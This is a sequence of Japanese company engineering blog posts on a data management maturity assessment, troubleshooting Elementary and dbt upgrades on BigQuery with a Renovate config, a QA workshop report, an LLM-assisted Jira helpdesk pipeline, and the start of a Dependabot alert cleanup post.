2024-04-05

データマネジメント成熟度アセスメントを実施しました(2024年版)

データ基盤チームに所属しているデータエンジニアの吉田(id:syou6162)です。10X社内のデータマネジメントの仕事をしています。

10X社内では2022年10月にデータマネジメント成熟度アセスメントを実施していましたが、それから約一年半が経過し、データマネジメント上の課題が進捗 / 変化した箇所が出てきました。そこで、最近の成果を振り返りつつ今後のデータマネジメントの方針を改めて見直すため、データマネジメント成熟度アセスメントを再度行なうことにしました。本エントリではその内容についてまとめます。

前回のデータマネジメント成熟度アセスメントへの取り組み
今回のデータマネジメント成熟度アセスメントのやり方
成熟度アセスメントの実際の結果
- 前回実施時との差分が大きかった項目
- 優先度が高かったにも関わらずあまり進まなかった項目
まとめ

前回のデータマネジメント成熟度アセスメントへの取り組み

データマネジメント成熟度アセスメントとは何か?
2022年10月実施した際のアセスメントの結果
アセスメントを実業務にどのように生かしているか

については過去の資料にまとめているので、そちらを参照してください。

「そもそもデータマネジメントとは?その重要性はどういうものがあるの?」という方はDMBOKやデータマネジメントが30分でわかる本を読むことをオススメします。前回および今回の成熟度アセスメントもこれらの本をベース / 参考にしながら行なっています。

今回のデータマネジメント成熟度アセスメントのやり方

前回(2022年10月)のデータマネジメント成熟度アセスメントでは、私(吉田)が入社直後だったということもあり、オンボーディングを兼ねてほぼ全職種にヒアリングしました。これ自体は当時の10Xのデータマネジメントの成熟度に対する解像度を飛躍的に高めることに寄与しました。しかし、これを毎回行なうには工数がかかり過ぎるため、今回(2024年3月)は以下のようにコンパクトに実施しました。

データマネジメントの11項目に渡って、吉田が成熟度アセスメントの叩き台を作成
- 各項目につき、notionで1ページ程度のサマリー。以下の3つについて記載する
  - 1: 現在でのレベル感
  - 2: 今後の優先度
  - 3: 各項目のDMBOKでの簡単な概要
    - データマネジメント成熟度アセスメントを初めて行なうメンバーもいるため
叩き台を元に、参加メンバーに各項目の「現在でのレベル感」と「今後の優先度」を入力してもらう
- レベル感や優先度にギャップがあれば詳細を深掘りし、認識を合わせていく
- 各項目10~12分程度でサクサク進めていく
  - 初回であればこのペースは難しいと思いますが、成熟度アセスメントをすでに一度実施していると大分やりやすくなっていると感じた
参加メンバーは部内メンバーの3名とデータマネジメントに興味を持つアナリスト2名(任意参加)で実施

成熟度アセスメントの各項目の記入およびディスカッションで2時間、全体のまとめで1時間の合計3時間で実施しました。

成熟度アセスメントの実際の結果

全項目を記載すると膨大な量になってしまうため「前回実施時との差分が大きかった項目」や「優先度が高かったにも関わらずあまり進まなかった項目」についてダイジェストを記載します。

前回実施時との差分が大きかった項目

データセキュリティ

データセキュリティは確実な進捗がありました。前回実施時点では、データに対する権限は広すぎる & 強すぎる権限付与が行なわれていたり、権限付与も手動によるオペレーションで行なわれていました(前回のレベル感1.5)。しかし、Stailerの利用拡大に伴ないパートナー数も増加しており、パートナー毎の権限管理の強化の必要性が増していました(前回の優先度5)。

これを改善するために、以下の取り組みを実施しました。

誰がどのデータにアクセスしてよいかのポリシーを整備
IaCによるコード管理、レビューの必須化、機械による権限付与
- Conftestによる必要な項目の入力必須化の基盤構築をSREが行なってくれたため、特にBigQueryに関してリソースに関してdescriptionやownerなどのlabelsの情報の入力必須化の実施
- 新規の権限付与はTerraformで行なうことを徹底
- terraform importを使って、既存の権限付与もIaCで管理に取り込む*1
データエンジニア / アナリティクスエンジニア向けのTerraformを使った権限管理の勉強会の開催し、Terraformに対する敷居を下げる
個人データをより安全に取り扱えるようにするため、仮名加工化の実施
- 法務担当や外部の法律事務所の先生のアドバイスをもらいながら進行

これらの結果、状況をかなり改善することができました(レベル感3.5)。前回よりは優先度を下げるもののとはいえ、データセキュリティは事業の根幹を支える項目でもあるため、引き続き既存の仕組みの整備などを含めて一定のリソースをかけていく必要があるというディスカッションをしました(優先度3.5)。

データ品質

データ品質は前回の成熟度アセスメントの優先度が4と、積極的に取り組みたい項目の一つでした。その理由としては

データに関する問い合わせが特に多く、対応工数がかかっていた
DWHやデータマートにテストやdescriptionが書かれていないことも多く、問い合わせに対する調査コストが大きくなりがち
- 何が担保できているかが明らかではない状況
- メンテナンスがきちんとできていない古いデータパイプラインによって生成されるデータが参照され続けていることも多かった
- DWHでは管理されていないBIによるカスタムクエリも多数存在

などがありました(レベル感1.5)。

こういった状況を解決するために、以下の取り組みを行ないました。

古いデータパイプラインの撤退
- メンテナンスがきちんとできていないパイプラインが2系統存在していたため、データ利用者とのコミュニケーションを取りながら撤退を進めた
- これは非常に根気が必要で、アナリティクスエンジニアである@tenajimaが粘り強く取り組んでくれた成果
カスタムクエリの撲滅
- BIでカスタムクエリを書けることは自由度を上げるが、データの品質を下げる要因になりやすい傾向があった
- Tableauの導入に伴ない、担保できる品質によってBIを使い分ける方針を決定し、カスタムクエリを基本的に使わない方針を採用
- 具体的にはTableauはcertificateされた公式のダッシュボード、Looker StudioやConnected Sheetはアドホックな分析(こちらはカスタムクエリを許容する)という形
データ品質の定義や可視化
- データ品質向上に向けた全体像や指標の定義を部長である@kazk1018が行ない、その実装を吉田が行なった
- 特に可視化の詳細についてはTokyo dbt Meetup #8で発表した資料を公開しているので、そちらを参照してください
- 可視化の結果を元にどこに何のテストを書くべきかというToBeの策定に繋げることもできた

以上のように、一定の進捗があったため優先度は少し下げつつ(優先度3.5)、データ品質の可視化結果を参照しながら必要な品質とのギャップを埋めるためのDWH構築(特にDimentional Modelingの拡充)やデータ品質改善のライフサイクルを回していくことを今後は進めていく予定です(レベル感3)。

メタデータ

一番進捗した項目はメタデータでした。前回はメタデータはほぼ何もできておらず(レベル感1)、進んでやる予定もない(優先度1.5)状況でしたが、前述したデータセキュリティの進捗に伴ない、データディスカバリーが課題となってきました。そのため、データカタログ(Dataplexの導入)とメタデータ管理の強化(dbt-osmosisの導入)を行ないました。この内容の詳細については、Findy Toolsに寄稿した記事やData Engineering Study #22で発表した以下の資料を参照してください。

特にdbt-osmosisによる効果は大きく、カラムのdescriptionがほぼ入っていない状況(1割未満)からデータカタログが機能できる状況(5~8割)までカラムのdescriptionに持っていけたのは大きかったです。メタデータの拡充(メタデータの伝播)を自動化できた点も大きく、メタデータの所在をSSoTにしつつ、カバレッジを上げる環境を作ることができました。dbt-osmosisの導入 / 運用にあたり、不足していた機能もあったので、多数Pull Requestを送って取り入れていただきました。

また、メタデータはデータカタログだけでなく、データマネジメント全体を支えてくれる大きな武器にできているなと思います。単純なメタデータ整備に留まらず、アクティブメタデータに代表されるようなメタデータ管理の体制や活用への発展に繋げることができています。詳細については、datatech-jpで発表した以下の資料を参照してください。

大きく進捗を果たすことができたため、今後の優先度は一定下げつつ(優先度1.5)、よりデータ利用者に分かりやすいdescriptionをどう書くかやデータレイク側のメタデータを開発チームとどのように連携するか(Data Contractの導入検討)、TableauなどBIツール側へのメタデータ / データカタログの提供などより高度な項目について考えていきたいと思います(レベル感4)。

優先度が高かったにも関わらずあまり進まなかった項目

大きく進捗した項目があった一方、想定通りには進んでいない項目もありました。一番顕著な項目はデータアーキテクチャです(前回優先度が4.5であるにも関わらず、今回のレベル感が2。前回のレベル感は1.5)。これは主に著者である吉田がサボっていたからなのですが、入社してしばらく時間が経過すると頭の中に社内全体のデータアーキテクチャが入ってしまい、部内のメンバーも同じレベルの解像度を持っているため、データアーキテクチャを描き切らなくてもあまり課題になることがなかった、という背景がありました。

しかし、広告データの取り込み、CRMの導入(data activationを含む)、新BI(Tableau)の導入などに伴ない、データアーキテクチャは前回より複雑になっており、部内以外のメンバー(法務 / コーポレートIT / セキュリティチーム)とデータに関するディスカッションをするときに毎回口頭で説明する必要があるなど課題となってきています。また、チームに新規に所属したメンバーのキャッチアップコストが高くなってしまっているという課題にもなっています。

全ての項目を詳細に描き切るのは非常に骨が折れるため、今後は大まかな図から徐々に整える形でデータアーキテクチャを整備していく予定です(優先度2)。

まとめ

このエントリでは10Xで定期的に行なっているデータマネジメント成熟度アセスメントについて紹介しました。成熟度アセスメントの実施は初回こそ工数はかかりますが、一定型ができてくるとやりやすくなり、データマネジメン全体の見通しもよくなるため、データに対して課題がある人は是非試してみてください。

*1:これは結構大変で、SREに負けないくらいterraformを書いた一年でした

2024-03-28

Elementaryアップデートの試行錯誤

はじめまして、データエンジニア業務委託のjcです。今回は、Elementaryアップデートに関する試行錯誤の話を共有したいと思います。Elementaryの運用にお困りの方、これからElementaryを導入しようとする方の参考になれば嬉しい限りです。

Elementaryとは

Elementaryはdbtのモニタリングツールの一つであり、データ品質を可視化するためのダッシュボード作成・Slackへのアラート通知機能を提供しています。

先日、データエンジニアの吉田さんがTokyo dbt Meetup #8で「Elementaryを用いたデータ品質の可視化とデータ基盤の運用改善」を題として発表を行いました。Elementaryの活用例に興味のある方はぜひ併せて確認してみてください。

speakerdeck.com

Elementaryアップデートへの道程

Elementaryの初リリースは2022年1月であり、現在（2024年3月17日時点）はまだstable版に至っておらず、後方互換性が担保されてないアップデートもしばしばあります。先日0.9.4から0.13.2にアップデートするのに苦労したため、その際に遭遇したエラーとその対処法を紹介します。

dbt_columnsを生成する際に too many subqueries or query is too complex エラーが発生
elementaryのon-run-endを実行する際に too many subqueries or query is too complex エラーが再び発生
dbt_run_resultsを生成する際に The query is too large. The maximum standard SQL query length is 1024.00K characters, including comments and white space characters. エラーが発生

※DWHはBigQueryを利用しており、RedshiftとSnowflakeは検証していません。

dbt_columnsを生成する際に `too many subqueries or query is too complex` エラーが発生

まずはelementaryを0.13.2に上げた後、モデルを実行したらdbt_columnsを生成する際に too many subqueries or query is too complex エラーが発生しました。（ここではdbt_columnsの説明を割愛します。ご興味のある方は前述した吉田さんの発表資料にご参照ください）

Maximum number of resources referenced per query are 1,000 resources

Quotas and limits | BigQuery | Google Cloud

調査した結果、BigQueryのサブクエリの上限（1,000）に引っかかっていることがわかりました。

Elementaryのドキュメントに記載されていませんが、ソースコードを参照することで、Artifact（成果物）のアップロードには以下の2つのモードがあることが判明しました。

chunk: 長いクエリをdbt_artifacts_chunk_sizeで指定されたchuck_sizeに分割して処理する
max_query_size: 設定したクエリ文字列数の上限までギリギリ使い、不足があれば新しいクエリに分割する

デフォルトは max_query_size モードになっており、文字列数の上限も適切に設定されているようですが、このモードではBigQueryのサブクエリ数の上限を考慮していません。つまり、レコードが短い場合、同じ文字列数の上限でも、一度insertするレコードが増えるためBigQueryの制限にひっかかることがあります。

ログから、エラーメッセージが出る直前、1000以上のレコードをunion allしてからinsertするクエリを確認できました。

2024-02-13 04:39:14.190704 (MainThread): 04:39:14  On master: /* {"app": "dbt", "dbt_version": "1.7.7", "profile_name": "user", "target_name": "prod", "connection_name": "master"} */
insert into `my-project`.`elementary`.`dbt_columns__tmp_20240213043537835414`
         (full_table_name,database_name,schema_name,table_name,column_name,data_type) values
    (NULL,'hoge','hoge','hoge',NULL,'STRING'),
    (NULL,'hoge','hoge','hoge',NULL,'STRING'),
    ...
2024-02-13 04:39:18.028758 (MainThread): 04:39:18  
BigQuery adapter: Retry attempt 1 of 1 after error: BadRequest('Resources exceeded during query execution: Not enough resources for query planning - too many subqueries or query is too complex.; reason: resourcesExceeded, message: Resources exceeded during query execution: Not enough resources for query planning - too many subqueries or query is too complex.')

そのため、max_query_sizeモードをやめてchuckモードに変更しました。

dbt_project.yml からElementaryに変数を渡すことで設定を変更できます。

vars:
    elementary:
    "insert_rows_method": "chunk"
    "dbt_artifacts_chunk_size": 500

chuckモードに変更し、さらに dbt_artifacts_chunk_size を500に変更することにより、too many subqueries or query is too complex エラーが解消されました。

Elementaryのon-run-endを実行する際に `too many subqueries or query is too complex` エラーが再び発生

chuckモードに変更することで上記エラーを解消しましたが、elementaryのon-run-endを実行する際に too many subqueries or query is too complex エラーが再び起きました。

ソースコードを調査したところ、on-run-endを実行する際にinsert_rows関数にchunk_sizeを明示的に渡しておらず、デフォルトの5,000を使っていることが判明しました。このバグを修正するためにelementaryにpull requestを送りました。

fix: add arg chunk_size when calling `insert_rows` by aibazhang · Pull Request #669 · elementary-data/dbt-data-reliability · GitHub

4日後マージされ、0.14.1でリリースされました

Release 0.14.1 · elementary-data/dbt-data-reliability · GitHub

dbt_run_resultsを生成する際に `The query is too large. The maximum standard SQL query length is 1024.00K characters, including comments and white space characters.` エラーが発生

Elementaryを0.14.1に上げると上記エラーを解消しましたが、dbt_run_resultsを生成する際に The query is too large. The maximum standard SQL query length is 1024.00K characters, including comments and white space characters. エラーが発生しました。

テーブルdbt_run_resultsにはクエリのコンパイル結果を保存するcompiled_codeという項目があります。10Xでは、dbtのマクロやjinjaテンプレートを多用しているため、クエリのコンパイル結果が長くなりがちです。このような場合、クエリのコンパイル結果が長くなると、BigQueryのクエリ文字列数の上限1024Kを超えてしまいます。

この問題はchuckモードにおいて起きます。dbt_artifacts_chunk_sizeで指定されたchuck_sizeに分割して処理できるが、max_query_size モードのように文字列の制約はありません。

このバグを改修するために、Elementaryにクエリ文字列の長さを制限するPRを出しました。

support query_max_size for insert_rows_method `chunk` by aibazhang · Pull Request #679 · elementary-data/dbt-data-reliability · GitHub

現時点はまだレビューされておらず、マージされるまで時間かかるでしょう。

その間、一時的な対策としてchuck_sizeを小さ目な値（例えば100）に設定して、クエリの長さを制限しています。このエラーを一時的に回避できますが、実行するクエリ数自体が増えるため、モデルの実行速度が落ちる可能性があります。この修正により、最新のElementary v0.14.1でも動作するようになりました。

おまけ：一気にバージョンを上げることにならないように、dbtのpackages.ymlをRenovateに対応させる

Renovateという依存管理のツールを使用して、dbt関連のパッケージを一気にバージョンを上げることにならないように自動的にアップデートすることができます。Renovateの設定方法自体の説明は割愛します。

Renovateは、Npm、Pypi、Helmなど複数のデータソースに対応していますが、現時点ではdbtのデータソースが直接サポートされていないので、データソースをカスタマイズする機能を利用します。

Custom - Renovate Docs

ドキュメントの例を参考にして、dbthubのAPIから最新バージョンの情報をparseするcustomDatasourceと、リポジトリ内のpackages.ymlにあるバージョン情報をマッチさせるcustomManagerを作ってみました。

{
  "$schema": "https://docs.renovatebot.com/renovate-schema.json",
  "extends": [
    "config:base"
  ],
  "customManagers": [
    {
      "customType": "regex",
      "fileMatch": ["packages\\.yml$"],
      "datasourceTemplate": "custom.dbt_hub",
      "matchStrings": [
        "- package: (?<depName>.+)\n    version: (?<currentValue>.+)"
      ],
      "versioningTemplate": "semver"
    }
  ],
  "customDatasources": {
    "dbt_hub": {
      "defaultRegistryUrlTemplate": "https://hub.getdbt.com/api/v1/{{packageName}}.json",
      "transformTemplates": [
        "{\"releases\":[{\"version\": $string(latest)}], \"homepage\": \"https://hub.getdbt.com/{{packageName}}/latest/\"}"
      ]
    }
  }
}

mainブランチにマージしたあと数秒経つと、バージョン更新のPRが自動的に作成されることを確認できました。

Update dependency elementary-data/elementary to v0.14.1 by renovate[bot] · Pull Request #11 · aibazhang/renovate-tutorial · GitHub

まとめ

本記事では

Elementaryアップデート時に遭遇したエラーとその解消法
dbtのパッケージを小刻み更新するためにRenovoteを活用する方法

について紹介しました。皆さんのElementaryのアップデートにご参考になれば幸いです。

2024-01-24

WACATEに乗ってどこまでも

QA TE

はじめまして、ソントプです。

私は現在、品質管理部のテストエンジニア（TE）としてお届けチームに配属され、以降はQA業務に従事しています。

今回、初めてQA向け社外イベント：WACATE2023 冬（開催日：2023/12/23（土）、24（日））に参加してきましたので感想を交えながら主に

参加して得たもの
業務に活かせたこと、活かせそうなこと

について書いてみました。

WACATEってそもそも何？
興味あるけど参加したことないな…

という方の参考にもなれば幸いです。

参加した経緯と動機
そもそもWACATEとは？
WACATEで得たもの
まとめ

参加した経緯と動機

IT業界に飛び込んだのが8年前になるのですが、その頃からWACATEの名前自体は聞くことがありました。ただ当時の私は業界のいろはもよく分かっておらずひたすらテスト実行する毎日だったので、当然テスト設計をやれるほどのスキルもなかったですしむしろ「何それ？ウマイの？？」状態でした。

その後、運良くテスト設計未経験でも入れる現場があり、業界に転職して２〜３年経ってようやくテスト設計するチャンスを得ます。その後もテスト設計者としていくつかの現場を渡り歩き、今に至ります。

テスト設計力に関して自己分析すると、ある程度の基礎は身についているもののテスト設計技法の使い分けや現場での適切な運用がまだまだできていない、というのが率直なところです。

なので遥か先にいるチームメンバーに少しでも追いつくためにも、テストエンジニアとして生き残っていくためにも、テスト設計力の向上は不可欠だと思いました。そこで手始めに自分が知っていて、かつ知っている人が運営サイドにいる社外イベントにとにかく飛び込んでみよう！というのがWACATE2023 冬に参加した動機になります。

そもそもWACATEとは？

そもそも「WACATE（ワカテ）」をご存知ない方向けにこちらも軽く紹介しておきます。

宿泊型（１泊2日）のワークショップで『Workshop for Accelerating CApable Testing Engineers』の頭文字をとって「WACATE」と呼ばれています。

WACATEでは35歳以下を「若手」と定義していますが36歳以上の若手じゃない人も参加可能となっています。よく「若手じゃないと参加できないの？」と間違えられがちみたいなのですがそんなことはなく、むしろ若手じゃない人も大歓迎！とのこと（by WACATE実行委員長）

WACATE2023 冬のプログラムはこちら↓

wacate.jp

WACATE公式サイト_ホームはこちら↓

wacate.jp

WACATEで得たもの

1. 実務に活かせる知見・経験が得られた

1 - 1. すぐに実務で活かせたこと

参加している時、ずっと考えていたことがあります。

それは「実務ですぐに活かせることってないかな？」です。

積極的にワークに取り組んでいても、それを実務に活かせるように持って帰らなければ参加した意味がありません。ワークしながら内容の理解にも努めながらメモも取りつつ、すぐに活かせることないかなー？と頭の片隅でずっと考えていました。

そしてやってきました２日目のこちらのセッション！

「テストの目的って何？私がテスト設計でやってしまった3つの失敗」

発表内容は登壇者の高橋さんの実際の失敗談3つをふりかえりつつ

その都度何を考えていたのか
どう乗り越えていったのか
最終的に高橋さんがたどり着いた「テストの目的の重要性」

についてお話ししてくださりました。

うっかりするとテストの目的を定めずにテスト設計をしたり、あるいは無意識にテストの目的に沿って取り組んでいて日頃意識していない方もいるのではないでしょうか？

私は両方やりがちなので改めて、テスト設計の成果物の中にテストの目的を盛り込むようにしました。テスト分析の段階でテストの目的をしっかり定義することで、その後のテスト設計の方向性がより定めやすくなります。

正直、テストの目的を明確に定めなくてもテスト業務が滞りなく進められるのであればそれでもいいのかもしれません。ただ個人的には、チーム単位で見た時に皆が同じ方向を向いて進んでいくためにもテストの目的は必要不可欠だと感じています。

1 - 2. これから実務で活かせそうなこと

「すぐに活かせること」と同様にずっと考えていたことがもう1つあります。

それは「すぐではなくても後々の実務で活かせそうなことはないかな？」です。

こちらも参加中はずっと頭の片隅においてました。正直言ってWACATEに参加していた２日間はずっと脳みそフル回転で大変だったのはいい思い出です。

そんな状態でやってきてくれました同じく２日目のこちらのセッション

「JSTQB FL ~~最後の~~幻のテスト技法「ユースケーステスト」を学ぶ」

セッション内容はこんな感じでした。

ユースケーステストとはどんなものなのかの説明
提示された仕様をもとに実際にユースケーステストのワークに取り組む
ワークの回答例や解説

個人的にはユースケーステストがどんなものなのかは以前から知ってはいましたし、なんならメンバーが成果物としてあげてきたものをリーダーという立場でレビューしたこともあったりします。ですが自分で使ったことはなかったので、今回ワークという形で実践し体験できたことで自分の中での解像度が爆上がりしました。

具体的にどこら辺の解像度が上がったのかと言いますと、一番はユースケーステストの作成方法が理解できたことです。

ユースケース図
ユースケース記述
ユースケーステスト

この順番でそれぞれワークを体験したことで理解度が飛躍的に高まりましたし、自力での作成力も身についたと思います。

ただあくまでテスト技法の一つなのでテスト設計の度に使うわけではないですが、今後のテスト業務において必要になった時に役立つセッションだったと思っています。

2. 日々の業務をテスト理論の中で捉え直すことができ、理解が深まった

すでにやってることあったんだ！

WACATE2023 冬で一番印象に残っているセッションは

「テスト活動にまつわるお悩みを解消するカギはどこに？〜テストのモニタリングとコントロールに貢献できるテストエンジニアになろう」

です！！

このセッションではタイトルの通り、テストのモニタリングとコントロールについてグループワークを行いました。

セッション内容はこんな感じでした。

まず実践（グループワーク）
ふりかえり＆共有で気付きを得る
登壇者の解説で学びを得る

このセッションを通じて

日々のテスト業務の中で何かしらの課題が出てきた時にそれらを解決すべく対策を打つ

…という、日頃から当たり前のようにやっていたことそのものがまさしく、テストのモニタリングとコントロールだった、ということに気付かせてもらいました。この「ハッとした気付き」が一番印象に残っている理由になります。（下手したら昨年一の驚きだったかもしれない）

「モニタリング」と「コントロール」という単語は意識せずとも日々の業務で

自分のタスクの進捗が遅れそうな時にどんな対策を打てば良いのだろう？
自分のタスクはどうやったら目的を達成できるだろう？

というところを意識しながらこれからも取り組んでいきたいと、改めて思いました。

3. 横のつながりが増えた

そこかしこで始まる名刺交換

WACATEは参加者同士の交流の場でもあります。

最初こそソワソワしていた感じもありましたが、最初に自己紹介、次にグループワークを経てすぐに打ち解けた後はみな積極的に交流を図っていました。気付けば私の名刺も17枚ほど減っており、よくもまぁこんなに交換できたなと自分で自分に感心してしまいました。

こうして「横」のつながりが増えたこともまた、WACATEに参加したことで得られた財産となっています。

まとめ

まずは、最後までお読みいただきありがとうございます。感謝です。

拙いながらも人生初ブログを書き上げられてまずは一安心しております。

WACATEは知ってても参加を迷ってる人にとって、一つの体験談として参考になるような、あるいは参加の後押しになるような内容になっていれば幸いです。

過去WACATEに参加した人にとっては、今回はこんなことやってたのね〜といった感想文のように見てもらえれば嬉しいです。

そしてWACATE同期（同じWACATE2023 冬参加者）から何かしら反応あればめちゃくちゃ喜びます！！！

2024-01-20

LLMとデータ駆動でサービスデスク業務の改善サイクルをまわしていく

10Xでコーポレートエンジニアをやっているハリールです。

このブログでは、社内サービスデスク・ヘルプデスクの運用において、問い合わせの受け付けから始まるデータの流れ、そのデータの蓄積方法、そしてそのデータを活用して改善サイクルをどのように回していくかについて、試行錯誤を重ねてきた経験、LLM活用方法、構成、実用的なTipsなどをまとめています。

前提条件
全体構成
SlackとJira Service Managementとの連携
チケット属性をLLMで自動生成
BIツールに連携
まとめ

前提条件

以下のサービスを使って構成しています。各SaaSの基本的な利用・操作について記載はないためある程度理解している前提での記述となっています。

Slack
Jira Service Management
Zapier
OpenAI
Looker Studio

全体構成

全体構成としては

問い合わせのI/Fは日常最も利用するチャットツール(Slack)を利用し、ツールのスイッチングコストをかけない。
チャットツールで投げた問い合わせはチケット管理ツール(Jira Service Management)に双方向同期し、情報の欠落・重複データを防止。
チケット管理ツールにデータが投入されると内容を元に要約・タグ・分類などを自動生成することで属人的な作業を減らし、精度の高いデータを蓄積。
蓄積されたデータをBIツール(Looker Studio)に連携・可視化。定期的な振り返りを実施し改善サイクルを回していく。

といった流れとなります。

SlackとJira Service Managementとの連携

基本的な設定は以下に公式ドキュメントがあります。 www.atlassian.com 上記設定によってSlackの投稿をJira Service Managementに蓄積する構成が実現できます。それを踏まえた上でのTipsをまとめていきます。

Tips1. プロジェクトタイプ

Jira Service Managementで利用できるプロジェクトは以前までは企業管理型のみでしたが、現在はチーム管理型も作成できるようになっています。現在10Xではチーム管理型で運用していますが特に大きな課題はありません。それぞれのプロジェクトの特性や相違点については以下を参照ください。 support.atlassian.com

Tips2. Slackチャンネル情報の登録

Slackのメッセージから同期されているJiraチケットへ遷移したい場合、SlackにJiraチケットへのリンクがあるので問題ないのですが、その逆にJiraチケットからSlackメッセージに遷移したい場合には以下の設定を行うことで実現できます。

設定方法はチケットの属性に requesterChannelLink といった名前で文字列型のカスタムフィールドを設定するだけです。これでJira Service Managementが自動でSlack投稿へのリンクを挿入してくれます。

requesterChannelLink にはリクエストを受け付けた発言へのリンクが、slackCreationChannel にはチャンネル名が自動で設定されます。なお、他にどのような属性が指定可能かについては以前まではHalpやAtlassianのドキュメントに記載がありましたが、現在記述がなくなっており、今後この機能がなくなったり、非推奨となる可能性がありますのでその点ご了承ください。

Tips3. Emoji ショートカットAutomation

Jira Service Managementのチャットはその前身であるHalp時代から絵文字リアクションによる操作が特徴でした。 Slack上でチケットの投稿に対して、 👀 をリアクションして担当になったり、完了を意味するリアクションでチケットを完了させることができます。

なお、現在もその設定はありますが、2024年6月4日までにJira Automationに移行させる必要がありますのでご注意ください。移行の手間はあるものの、利用可能なアクションの範囲が拡大し、様々な操作をリアクションベースのトリガーで実行できるようになったことは、歓迎できる点だと思います。

詳細は以下を参照ください。

support.atlassian.com

チケット属性をLLMで自動生成

チケットが作成されると以下の情報を自動生成しています。

要約/説明
タグ
分類

生成はJira(Automation)からZapierを経由してOpenAIを呼び出しています。それぞれの詳細を記します。

AutomationからZapierコール

まずは、対象プロジェクトに課題が作成されるとZapierにWebリクエスト(WebHook)を送信するAutomationを用意します。

Webリクエストの本文はカスタムデータとし、後続処理で必要なデータを設定します。更新時のチケットを特定するためのkeyと、生成元となるsummaryを設定しています。なお、reporter(報告者)はZapierから再度Jiraチケット更新する際の必須項目となるため設定しています。

これで自動生成の準備ができました。

余談. データに改行が含まれる場合の注意点

上記のカスタムデータは問題ありませんが、例えばカスタムデータで渡すデータに改行が含まれる場合、上記の記載方法では正常にZapierを呼び出すことができません。さらにいうとJira Automation上の検証は成功するがZapierは呼び出されないためなかなか原因に気付きにくいです。その場合の対応については以下を参照ください。

zenn.dev

要約/説明

続いてユーザーからの問い合わせ内容を元に、要約と説明を生成します。なお、SlackとJira Service Managementの連携では問い合わせの元の文章は自動的に最初のコメントに記録されるため、今回のように加工したとしても元の情報が失われることはありません。以前までは長文の場合のみコメントに記録されていましたが、いつからか現在の仕様になりました。このほうが便利ですね。 Automationから呼び出されるZapで ChatGPT ActionかOpenAI Actionを選択しますが、どちらを使っても結果に大きな差はないためどちらでもOKです。今回の例ではChatGPT Actionを使います。

まず要約の生成では以下のプロンプトを指定します。10文字程度と指定していますが、稀に改行が含まれてしまいJiraに設定する際にエラーになることがあるため、改行を含めないような指示も加えています。

その他のパラメタ(ModelやMemoryKeyなど)はそれぞれお好みで指定してください。続いて説明を生成します。説明はJiraチケットの複数行フィールドのため改行は気にせずかつ文字数の制約なども指示する必要はありません。かなりシンプルな指示なためお好みでカスタマイズしてください。

分類

続いて分類を設定していきます。分類は独自に作成したカスタムフィールドであり、問い合わせの内容を文字通り分類するもので”質問”と”依頼”のいずれかから選択します。以下のようにChat GPTの Classify Text で問い合わせ内容を質問か依頼に仕分けします。

このようなJiraで選択肢があるフィールドはこのままではZapierから投入することはできません。”質問”と”依頼”はJira上ではそれぞれ別のIDを持っており、Zapierから指定するにはこのIDを指定する必要があります。それぞれの選択肢のIDの値はZapier上から確認できます。ZapierのJiraのアクションから対象のIssueを選択し分類を見ると以下のようになっているのでこの数値がIDとなります。

LLMで分類した値をこれらのIDに変換するためいくつか方法がありますが、今回は Utilities を使います。 Zapier UtilitiesのLookup Tableを使ってChat GPT Actionで生成した文字列をIDに変換します。

項目の追加や削除があった場合にはここもメンテナンスする必要があるため、その点はご注意ください。

これでJiraに設定するための値が出揃いました。

Jiraチケットの更新

要約、説明、タグ、分類が用意できたので、Update Issue in Jira Software Cloud のUpdate Issueを設定します。

IssueにはWebhookで受け取ったKeyを指定します。

要約・説明・タグ・分類には上記で生成した結果を設定します。

最後に必須項目である報告者にWebhookで受け取ったreporterを設定すればOKです。

これで問い合わせ内容をもとにした自動属性付与の流れが完成です。任意の問い合わせチケットを生成して値の精度を確認しながらプロンプトを微調整してください。なお、あくまでも生成自体は補助的なものであり、どこかで人がチェックする運用にしておくほうがより安全かつ確実です(特にタグ)。

BIツールに連携

Jira Service Managementに蓄積したデータはそのままJiraのダッシュボードで可視化することもできますが、利用できるガジェットが限られています。またJira以外のデータも含めて横断的に表現できることからLooker Studioに連携していきます。

Step1. Googleスプレッドシートに同期

Looker Studioにデータを連携するに当たってまずはGoogleスプレッドシートにデータを同期させます。方法はいくつかありますが、ノーコードでありAtlassianが公式に提供しているスプレッドシートのアドオンJira Cloud for Sheetsを使います。

JQLで必要なチケットの抽出、列の選択に加えて、定期実行なども設定できます。使い方の詳細は以下を参照ください。

support.atlassian.com

Step2. スプレッドシートをLooker Studioで可視化

スプレッドシートに蓄積したデータをLooker Studioにデータソースとして追加し、あとは任意のグラフを追加して可視化していきます。

これで常に最新のデータで可視化されたダッシュボードが完成しました。このデータを元に、振り返りでは依頼・質問それぞれの件数とタグの割合を見ながらネクストアクションを考えていきます。

例えば依頼の多いタグに関しては、依頼自体を別途フォームとして用意して効率化できないかを検討したり、質問が多いタグに関しては、ドキュメントの在り方・導線・周知方法などに課題がないかを検討していきます。

また、半期・四半期で組織変更時などは特に質問などが増えるなど組織ごとの特性が見えてくるため、それらを織り込んだ作業計画に繋げられます。

余談. 要約リンク

Jiraのダッシュボードの場合グラフをドリルダウンしてチケットの詳細を確認することができますが、Looker Studioの場合そのままでは実現できません。そこで以下のような計算式のフィールドを用意しシンプルな表を用意すれば、任意のフィルタ条件で一覧化し、かつチケット詳細に飛ぶ流れが実現できます。

HYPERLINK(CONCAT("https://[Atlassianインスタンス名].atlassian.net/browse/",キー),CONCAT(キー," ",要約))

まとめ

ここまで、LLMを活用して問い合わせデータの蓄積を効率化し、改善サイクルを円滑に回すためのデータフローについてご紹介しました。特に重視したのは、データの蓄積と、そのデータを用いた改善プロセスです。このアプローチにより、より効果的なデータ駆動型の施策を検討することができます。

現在もなお試行錯誤を続けており、プロセス自体にはさらなる改善の余地があるものの、このブログが類似の課題に直面している他の組織や個人にとって、役立つものとなれば幸いです。

2024-01-05

GitHub Dependabot Alertを愚直に潰し込んだ話

Security

こんにちは、セキュリティチームでソフトウェアエンジニアをしてる@sota1235です。

明けましておめでとうございます！本年も10X Product Blogを何卒よろしくお願いします。

さて、今回はセキュリティチームで今年の6月ごろから取り組んできたGitHub Dependabot Alertの削減についてお話しします。

サマリーとしては以下です。

今年の6月頃から取り組みを開始
初期はセキュリティチームで毎日トリアージ、泥臭くAlertの対応を行う
主要なRepositoryのAlertは一通り解消、一部は担当チームへの移譲等を行い継続的に維持できる状態へ

結果として半年間で500件弱のAlertをcloseし、残ってるAlertも対応方針が全て確定した状態になりました。

